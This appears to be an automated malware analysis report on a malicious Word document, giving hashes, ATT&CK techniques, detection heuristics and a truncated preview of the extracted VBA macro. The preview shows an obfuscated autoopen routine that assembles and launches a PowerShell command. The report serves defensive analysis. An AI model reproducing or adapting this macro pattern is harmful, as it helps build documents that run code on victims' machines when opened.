Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6fcfb321e9b107d3…

MALICIOUS

Office (OLE)

235.2 KB Created: 2019-03-11 20:32:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: 21c981ef890a8edb331229e4fca5b424 SHA-1: 8efc9f8067bf5639ae95eba1929819dfadacb10a SHA-256: 6fcfb321e9b107d372419df24437cb7ef936a8d1ce9053a27b8292c862e8452f
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains VBA macros with an autoopen function, which is a common technique for executing malicious code upon opening the document. The critical heuristic firing for 'VBA WMI Win32_Process launcher' indicates that the macro attempts to create a new process using WMI, a strong indicator of malware attempting to download and execute a second-stage payload. The ClamAV detection further supports the malicious nature of the file.

Heuristics 8

  • ClamAV: Doc.Malware.Sagent-6889618-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6889618-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 58726 bytes
SHA-256: aaa7f23a2fac0cb940cf867c2da7f1bc75748fe7bcb1f014c7e5445abf8cae6e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "mA4QAX4"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function sGAXQXD()
   Set dACcoXA = mXwADxkA
    If tCcAAxAk = WQZDAAD Then
         TAxAQG = Sgn(327116844 - CByte(fUD1Do) * f1QCAD4c * 435585839)
         GAAGGDox = ChrW(J_DBZZ)
         HAA_Aw = Rnd(75602835 * 942738038)
         rAAA_4 = Sin(SUUXZBQ - CStr(qADABwG))
End If
   Set qxAUUAD1 = iDGUAU4
    If CwAGAcA = TxAAABAA Then
         zkkACoDA = CDate(167498659 - Fix(lAZADABA) * SGXA4AAD * 828112800)
         vocACA = Oct(MUAAAABC)
         E_kAc4 = ChrB(438182732 * 937518061)
         zAXACBA = CSng(DkBAZAA - CByte(HAAcAoA))
End If
   Set HAABDC = vxUAwADU
    If tAA_DQ = QAQ4QDAo Then
         ZAc4ABA = Tan(569048783 - CStr(tA44A_) * UGADUk4U * 976834984)
         BAD_BX = CLng(NZAUZA)
         NxXUAD = Chr(946994860 * 486573220)
         VABcQ4 = Fix(SQQ4QUA - CByte(SACAAB))
End If
   Set dB1AwGk = lAQkQxoC
    If KXcGUXUc = RAAZAAA Then
         WAxU4A = Round(395567894 - Tan(RUAQAAG) * vokBUGA * 448848976)
         AAZAcCAA = ChrW(UAxABAAA)
         ZBBUAxo4 = Sgn(24947587 * 349464730)
         tAowBA = CDate(LZZAA4oA - Atn(fAo_XX))
End If
   Set PCAwAwQ = LCAQCAUA
    If ickAUw = rAB4AAk Then
         iDQ_Q1U = Sqr(144930819 - CDate(OxBABABA) * jkcoGC * 659264390)
         aAAUckA = CLng(HGUXA_AQ)
         OQBDAAA_ = Sin(108099800 * 900317339)
         hGQxUB1 = Log(sABZGAAC - Fix(GCBQAGcG))
End If
   Set NCAoAAx = XBXUk4_
    If jAQQQcZ = RBAoxXBA Then
         FAxQwAD = CSng(979428763 - Sqr(bQAxw_) * ZAAUQDG4 * 226450137)
         woZ4DwCG = Rnd(XUx1QXQ)
         hQCCAB = Sgn(115728421 * 706221589)
         F4kQAwwx = CInt(qAAwAA - Atn(FxAkwA))
End If
   Set iAcB1k = CAQkAwxx
    If kA44BAXG = IUDBoQQ Then
         zcQXCDB4 = ChrW(269277034 - Round(jDUAAAGD) * hAQAAA * 357425621)
         zGBAxA = Round(iZAACk)
         EcCUAk_X = Fix(529037664 * 311130032)
         GkQZGxQA = Atn(jUcocBZD - Chr(wwAAAwQ))
End If
   Set PkZXAA1 = VAACAA
    If FGAAAAC1 = UoCAAADA Then
         f_1QD4Dx = CLng(575769778 - Atn(k1BBDw) * OBoAwAA * 88705447)
         QoDZDA = Sin(aDw_CUQ)
         dUwA4oAB = Hex(239178232 * 723170126)
         hQZAcA = Round(LwwCUUoA - Chr(Jk4XAUU))
End If
End Function
Sub autoopen()
On Error Resume Next
   Set uAxkAQ4 = TAxXUU
    If sQUAAQX1 = s44DXoAA Then
         zA_ADAA = Rnd(95102121 - Rnd(LDAoXZoA) * rAwAAx * 429494494)
         H_CUAUC = CLng(uAADC_BQ)
         uUcUGxAX = Oct(702468723 * 722370877)
         YAAXQAG = CStr(NAk_ZD - Chr(nXCwUUCA))
End If
   Set FDwGUDBC = hCxAAx
    If JwA_Ao = cQDAXGB Then
         KBxQ_BkA = Oct(118560081 - Log(SAAXBkB) * hAD1DQD * 576943770)
         wDAAkA = ChrW(lAAAAUcA)
         H_Akk1x1 = Int(229490353 * 714628329)
         ZQUkX1w4 = Hex(wABAZA4A - Chr(mDAQCoCB))
End If
iQwUcAAU (hQwAoQQ + "po" + mA1DwQA + "wershel" + KAo1CQCk + C_c1AGx + kADkBABx + SQoBUAA + vDXBUQ + rDCAQQcA + pAADAADD + k1kGUAB + cAABQDw)
   Set boXBXZAA = XkAXAG
    If aAAwXAA = LAcD1xD Then
         AGZAAAUA = Hex(631059502 - Tan(oGDBxo) * QU1X1DUw * 795093353)
         GQ_QAQ = CBool(iGAB11QA)
         FAAZ_A = Tan(257301751 * 729519990)
         hCC4GZ = Sin(QAADDkA - Sin(HxoZ_BA))
End If
   Set poBoXB = jUCkoGQQ
    If zxA_AU_A = qwoAA_Q Then
         BZADAA = Chr(214298625 - CInt(pAkAkD) * MAAAUAAo * 67837771)
         aXUAAAo_ = Round(A1BGAA_)
         FZ4XwXGB = CByte(621909134 * 355720925)
         sAUXBUZ = CLng(LAwDwA - Oct(zo1AA1A))
End If
   Set iAcxAA = VGDCkU
    If XAoUZA = nAxxAAkA Then
         QAXABk = Int(375700498 - Oct(mB_AwD) * KGwBAQkA * 414328963)
         tDQkBoAA = CBool(RAAAQQ)
         ZACBZA = CSng(582743379 * 906114347)
         aDAAcQA = Rnd(XAUAXA - CInt(wXAAxBcA))
End If
End Sub
Function jAxZAAUk()
   Set zQC1Ax_U = aXBA1A
    If bBAAoCAU = wwc4wUA Then
         z_AAGk
... (truncated)

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